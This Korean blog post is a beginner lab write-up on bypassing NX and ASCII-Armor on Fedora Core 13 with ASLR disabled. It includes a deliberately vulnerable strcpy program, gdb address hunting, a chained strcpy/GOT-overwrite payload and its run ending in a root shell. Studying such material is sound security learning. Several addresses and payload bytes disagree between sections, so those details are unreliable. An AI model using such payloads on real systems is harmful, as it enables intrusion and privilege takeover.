티스토리 뷰

Pwnable/Technique

Bypass NX-Bit and ASCII-Armor

err0rless313 2014. 10. 26. 22:45

NX-Bit와 ASCII-Armor 우회하기 ( ROP기법 초급 )


환경 : Fedora Core - 13

           원래 Full-ASLR 기법이 적용되어 있지만 사용안함 설정 해놨음.


[root@localhost bypass-NX_and_ASCII]# echo 0 > /proc/sys/kernel/randomize_va_space

[root@localhost bypass-NX_and_ASCII]# cat /proc/sys/kernel/randomize_va_space

0


vuln



취약점이 있는 코드


// gcc -o vuln vuln.c -fno-stack-protector -fno-pie -mpreferred-stack-boundary=2

// 코드가 약간 억지스럽지만 단순히 실습용이기 때문에 상관없음


#include <stdio.h>

#include <string.h>


char fake_buffer[ ] = "\x00\x00\xf0\xbb\x67\x00\xbb\x67\xbf\x1f\x06\x34\x31\x78\xdb\x65\x00";


void myFunc( char * );


int main( int argc, char **argv ) {


myFunc( argv[1] ); // 취약한 부분

printf( "hello\n" );

return 0;

}


void myFunc( char *input ) {


char buffer[500];

strcpy( buffer, input );

printf( "buffer is %s\n", buffer );




시나리오


일단 puts()의 got를 overwrite하여 system 함수가 실행되게 한다. 그렇기 위해서는 strcpy로 덮어 주어야 함

주소는 4바이트, strcpy가 4번 실행돼야 한다. 체이닝 RTL기법을 사용하도록 하자.

strcpy의 구조는 strcpy + "RET" + "DEST" + "SOUR" 이다. 인자가 2개이기 때문에

pop을 2번하여 ret를 지정해주어야 하기 때문에  pop - pop - ret 를 찾아야 한다.




(gdb) r $(python -c 'print "\x41" * 504 + "\x42" * 4')

Starting program: /root/system/bypass-NX_and_ASCII/vuln $(python -c 'print "\x41" * 512 + "\x42" * 4')

buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB


Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()


ret구간 확인      buffer 500 + SFP 4 -> 504





사용하고 있는 함수 확인


(gdb) info functions 

All defined functions:


Non-debugging symbols:

0x080482d4  _init

0x08048314  __gmon_start__

0x08048314  __gmon_start__@plt

0x08048324  __libc_start_main

0x08048324  __libc_start_main@plt

0x08048334  strcpy

0x08048334  strcpy@plt

0x08048344  printf

0x08048344  printf@plt

0x08048354  puts

0x08048354  puts@plt

0x08048370  _start

0x080483a0  __do_global_dtors_aux

0x08048400  frame_dummy

0x08048424  main

0x08048450  myFunc





구간을 알 필요 없지만 plt와 got 구간 확인


[root@localhost bypass-NX_and_ASCII]# readelf -S vuln

...생략

    [12] .plt              PROGBITS        08048304 000304 000060 04  AX  0   0  4

    [13] .text             PROGBITS        08048370 000370 0001bc 00  AX  0   0 16

    [14] .fini             PROGBITS        0804852c 00052c 00001c 00  AX  0   0  4

    [15] .rodata           PROGBITS        08048548 000548 000021 00   A  0   0  4

    [16] .eh_frame_hdr     PROGBITS        0804856c 00056c 000024 00   A  0   0  4

    [17] .eh_frame         PROGBITS        08048590 000590 00007c 00   A  0   0  4

    [18] .ctors            PROGBITS        0804960c 00060c 000008 00  WA  0   0  4

    [19] .dtors            PROGBITS        08049614 000614 000008 00  WA  0   0  4

    [20] .jcr              PROGBITS        0804961c 00061c 000004 00  WA  0   0  4

    [21] .dynamic          DYNAMIC         08049620 000620 0000c8 08  WA  6   0  4

    [22] .got              PROGBITS        080496e8 0006e8 000004 04  WA  0   0  4

..생략



사용할 페이로드는 다음과 같다.


페이로드 구조


JUNK + strcpy@plt + pop pop ret + GOT_of_puts[0] + address of byte [1] +

strcpy@plt + pop pop ret + GOT_of_puts[1] + address of byte[2] +

strcpy@plt + pop pop ret + GOT_of_puts[2] + address of byte[3] +

strcpy@plt + pop pop ret + GOT_of_puts[3] + address of byte[4] +

PLT_of_puts + JUNK (instead of exit()) + address of /bin/bash



찾아야 할 것은 system 함수와 pop pop ret이다. 우선 두개를 먼저 찾도록 하자.




(gdb) disas __do_global_ctors_aux

Dump of assembler code for function __do_global_ctors_aux:

0x08048500 (__do_global_ctors_aux)

...생략

   0x08048528 <__do_global_ctors_aux+40>: pop    ebx

   0x08048529 <__do_global_ctors_aux+41>: pop    ebp

   0x0804852a <__do_global_ctors_aux+42>: ret    --> pop - pop - ret를 찾았다.

..생략



pop2ret의 주소 0x08048528 



(gdb) p system
$1 = {<text variable, no debug info>} 0x67bbf0 <system>

system의 주소 0x0067bbf0 



그리고 흩어져 있는 조각을 찾도록 하겠다.

GDB를 통하여 찾아보도록 하자.


(gdb) find /b 0x08049610, 0x08049720, 0xf0

0x80496ac <_DYNAMIC+144>

0x804970e <fake_buffer+2>

2 patterns found.

(gdb) find /b 0x08049610, 0x08049720, 0xbb

0x804970f <fake_buffer+3>

0x8049712 <fake_buffer+6>

2 patterns found.

(gdb) find /b 0x08049610, 0x08049720, 0x67

0x8049710 <fake_buffer+4>

0x8049713 <fake_buffer+7>

2 patterns found.

(gdb) find /b 0x08049610, 0x08049720, 0x00

0x804970d <fake_buffer+1>

0x8049711 <fake_buffer+5>

0x804971c <fake_buffer+16>

0x804971d <fake_buffer+17>


find 명령어의 구성은 

find /b 시작 주소, 끝주소, 찾을 내용

이다.



[root@localhost bypass-NX_and_ASCII]# env | grep SHELL

SHELL=/bin/sh


환경변수에 "/bin/sh"문자열을 올려두고 


[root@localhost bypass-NX_and_ASCII]# ./get_env SHELL ./vuln

SHELL's ADDRESS [ 0xbffff7de ]


주소를 구하면 0xbffff7de 가 나온다.



get_env.c


#include <stdio.h>

#include <stdlib.h>

#include <string.h>


int main ( int argc, char **argv ) {


        char *ptr;


        ptr = getenv( argv[1] );

        ptr += (strlen( argv[0] ) - strlen( argv[2] )) * 2;



        printf ( "%s's ADDRESS [ %p ]\n\n", argv[1], ptr );

        return 0;

}



그래서 모든 주소를 구하면 다음과 같다.


system

->0x67bbf0


strcpy

->0x08048334

-> \x34\x83\x04\x08


puts

->0x08048354

-> \x54\x83\x04\x08


GOT_puts

-> 0x8049708

-> \x08\x97\x04\x08


pop2ret

-> 0x08048528 

-> \x28\x85\x04\x08


0x00

-> 0x804970d

-> \x0d\x97\x04\x08


0xf0

-> 0x804970e

-> \x0e\x97\x04\x08


0xbb

-> 0x804970f

-> \x0e\x97\x04\x08


0x67

-> 0x8049710

-> \x10\x97\x04\x08


/bin/sh

-> 0xbffff7de

-> \xde\xf7\xff\xbf



그 다음 구한 주소를 그냥 페이로드에 대입만 해주면 쉽게 익스플로잇에 성공할 수 있다.



$(python -c 'print "\x44" * 504 + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x04\x97\x04\x08" + "\x0e\x97\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x05\x97\x04\x08" + "\x0f\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x06\x97\x04\x08" + "\x10\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x07\x97\x04\x08" + "\x0d\x86\x04\x08" + "\x54\x83\x04\x08" + "\x41\x41\x41\x41" + "\xde\xf7\xff\xbf"')




[root@localhost bypass-NX_and_ASCII]# ./vuln $(python -c 'print "\x44" * 504 + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x04\x97\x04\x08" + "\x0e\x97\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x05\x97\x04\x08" + "\x0f\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x06\x97\x04\x08" + "\x10\x87\x04\x08" + "\x34\x83\x04\x08" + "\x28\x85\x04\x08" + "\x07\x97\x04\x08" + "\x0d\x86\x04\x08" + "\x54\x83\x04\x08" + "\x41\x41\x41\x41" + "\xde\xf7\xff\xbf"')

buffer is DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDTAAAA߷ÿ¿DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD4(4(4(4(

Xshellsh-4.1# 

sh-4.1# 

sh-4.1# 

sh-4.1# whoami

root

sh-4.1# id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

sh-4.1# ls

exploit.py  find_arg_for_system  find_arg_for_system.c get_env  get_env.c  vuln  vuln.c

sh-4.1# 



쉘 획득에 성공했다.


이제 ASLR도 켜서 ROP기법을 익혀보도록 하자





댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함